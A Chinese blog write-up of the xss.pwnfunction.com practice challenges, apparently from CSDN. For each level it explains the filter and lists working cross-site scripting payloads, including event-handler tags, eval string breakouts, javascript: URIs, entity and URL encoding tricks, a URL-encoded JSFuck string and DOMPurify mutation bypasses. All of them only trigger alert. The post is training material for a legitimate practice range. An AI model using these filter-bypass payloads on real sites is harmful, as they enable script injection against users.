xss.pwnfunction靶场

目录

前言

📖Ma Spaghet!

📔特点

📓方法 

📖Jefff

📔特点

📓方法 

📖Ugandan Knuckles

📔特点

📓方法

📖Ricardo Milos

📔特点

📓方法

📖Ah That's Hawt

📔特点

📓方法 

📖Ligma

📔特点

📓方法 

📖Mafia

📔特点

📓方法 

📖Ok, Boomer

📔特点

📓方法


前言

靶场是验证我们学习情况和提升做题技巧很好的平台,这里将为大家介绍一个非常不错的xss靶场,不错不错题目名字属实......

XSS Game - Learning XSS Made Simple! | Created by PwnFunctionXSS Game: Learn Cross Site Scripting (XSS) by completing challenges!https://xss.pwnfunction.com/

 

 

📖Ma Spaghet!

📔特点

     按照题目要求,我们开始看题,因为提示在somebody中输入,所以见缝就插,使用script标签试试水,结果不可以,因为HTML 5 中指定不执行由 innerHTML 插入的 <script> 标签,所以这里我们可以使用html的一些事件来通过

element.innerHTML - Web API 接口参考 | MDNElement.innerHTML 属性设置或获取 HTML 语法表示的元素的后代。https://developer.mozilla.org/zh-CN/docs/Web/API/Element/innerHTML

📓方法 

  • 下面的链接中提供了一些html中的事件属性

HTML 事件 | 菜鸟教程HTML 事件属性 全局事件属性 HTML 4 的新特性之一是可以使 HTML 事件触发浏览器中的行为,比方说当用户点击某个 HTML 元素时启动一段 JavaScript。 如果你想学习更多关于事件属性,请访问 JavaScript 教程 下面的表格提供了标准的事件属性,可以把它们插入 HTML/XHTML 元素中,以定义事件行为。 New : HTML5新增属性事件。 窗口事件属性(Window Event ..https://www.runoob.com/tags/ref-eventattributes.html

<svg/onload=alert(1337)>

<img src=1 onerror=alert(1337)

<details open ontoggle=alert(1337)>

📖Jefff

📔特点

     这里定义了一个ma,执行语句为eval(`ma="ma name ${插入的语句}"`,如果你直接插入alert其实就相当于执行了ma的值而只会显示一个字符串,所以这里必须考虑先将eval(`ma=“${" jeff}"`)中分割,这样做就相当于闭合了前面的ma,让eval直接执行alert

📓方法 

";alert(1337);//

";alert(1337);"

"-alert(1337)-//

"-alert(1337);"

📖Ugandan Knuckles

📔特点

     这里过滤了大于小于号,相当于不让你闭合标签,我们可以想到利用编码是否可行,因为这里并没有限制编码,那么编码顺序该是怎样,就需要去考虑两点,因为你的插入点必须在url网址搜索框中去插入语句,这里识别url编码,而你的网页面则识别实体编码,所以我们的顺序应该为要想将语句插入网页面识别执行,那么你首先得在url搜索框中让它识别url编码,所以得先进行html编码再将它进行url编码,就相当于执行过程倒过来进行编码,但是这里忽略了双引号闭合的问题,我们对插入语句<img src=1 οnerrοr="alert(1337)进行编码后发现前面的palceholder属性无法闭合,双引号没有生效,尽管使用了转义符也还是不行,所以只能另寻方法了,前提是不能有用户交互,也就是不能用点击事件了,那么只剩一个捕获焦点事件属性没有用了

 

  

📓方法

" onfocus=alert(1337) autofocus="

📖Ricardo Milos

📔特点

     这里使用了表单的 action 属性是在服务器上提交表单,这个属性可以被检索或者设置,又因为没有过滤限制,所以直接插入JavaScript:alert(1337)通过

 

📓方法

ricardo=javascript:alert(1337)

📖Ah That's Hawt

📔特点

     这里是直接过滤了括号反引号和转义符,先尝试插入语句,直接将括号过滤了,老办法编码

📓方法 

<img src=1 onerror=alert%26%2340%3B1337%26%2341%3B>

<svg/onload=alert%26%2340%3B1337%26%2341%3B>

<a href=javascript:alert%25281337%2529>aa</a>#这里的url编码可以被识别是因为前面的href是一个超链接属性,它里面是可以识别url编码的,又因为url模块识别出了js协议所以执行了alert

 

📖Ligma

📔特点

     这里是过滤了大小写和数字,意思就是你只能通过编码来解决了,否则什么东西都输入不进去,先试试之前的先实体编码再url编码,结果不可以,看了一下作者的答案,提到了JSFuck 一种基于 JavaScript 原子部分的深奥且具有教育意义的编程风格,它使用了六个不同的字符来编写和执行代码,尝试使用它,这里注意你需要将它再进行url编码,否则url搜索框会识别不了,就不会执行成功

JSFuck - Write any JavaScript with 6 Characters: []()!+JSFuck is an esoteric and educational programming style based on the atomic parts of JavaScript. It uses only six different characters to execute code.icon-default.png?t=M666http://www.jsfuck.com/

  

📓方法 

#url编码对jsfuck
%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D((!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(%5B%2B%5B%5D%5D%2B!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)()

 

📖Mafia

📔特点

     这里过滤了如下符号以及alert并且还使用slice函数截取长度50的字符这样就限制了你使用前面那种编码方法,所以这里使用老师讲过的30进制编码,会用到parseInt(stringradix解析一个字符串并返回指定基数的十进制整数,radix 是 2-36 之间的整数,表示被解析字符串的基数。但是注意在插入时虽然它是在eval中执行的但是还是没有执行成功,你需要再添加一个eval,去让外面的eval执行里面的eval(8680439..toString(30))(1),作者的答案中还有两种解法,其中第三种方法利用了window.location.hash这个属性,该接口的hash属性 Location返回一个字符串,该字符串包含一个 '#'后跟 URL 的片段标识符 - URL 试图定位的页面上的ID

parseInt - JavaScript | MDNparseInt(string, radix) 解析一个字符串并返回指定基数的十进制整数,radix 是 2-36 之间的整数,表示被解析字符串的基数。https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/parseInt 

 

 

📓方法 

eval(8680439..toString(30))(1)

eval(location.hash.slice(1))#alert(1337)#这里使用slice是因为location.hash需要获取hash值的设置方式就需要通过字符截取来知晓,一般hash值的设置方式有三种:1.number型可以带#也可以不带2.string型带#号的3.string型不带#

设置hash后导致的返回问题的解决方案 - 开车上纽北 - 博客园引: 通常,在写移动端页面的时候,如果遇上很多需要切换的tab,比如切换城市/类目等,都会发起一次异步的请求,请求数据加载出来后,当点击某个具体的产品后,页面将会跳转到一个新的地方,我们希望用户在浏览https://www.cnblogs.com/calvinjs/p/4928660.html

location.hash - Web APIs | MDNThe hash property of the Location interface returns a string containing a '#' followed by the fragment identifier of the URL — the ID on the page that the URL is trying to target.https://developer.mozilla.org/en-US/docs/Web/API/Location/hash 

 

📖Ok, Boomer

📔特点

     这里相较于之前的不同的是它使用了一个安全框架,那么它的作用是什么,它是针对 HTML、MathML 和 SVG 的仅支持DOM、快速、高容错的XSS过滤器;知道了作用那我们首先使用script标签测试一些,结果确实莫反应,这个框架具体内容需要你自行了解,每个版本都有相应的信息,想要通关就需要你知道一些特殊的知识(🧑i haven't figured it out yet🧑)

dompurify - npmDOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG. It's written in JavaScript and works in all modern browsers (Safari, Opera (15+), Internet Explorer (10+), Firefox and Chrome - as well as almost anything else usin. Latest version: 2.3.10, last published: 13 days ago. Start using dompurify in your project by running `npm i dompurify`. There are 1197 other projects in the npm registry using dompurify.https://www.npmjs.com/package/dompurify

 

📓方法

<a id=ok href=tel:alert(1337)>#作者提供的答案,感兴趣的话可以参考下面的文档

<form><math><mtext></form><form><mglyph><style></math><img src onerror=alert(1)>

DOM Clobberingicon-default.png?t=M666http://www.thespanner.co.uk/2013/05/16/dom-clobbering/

 

 

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值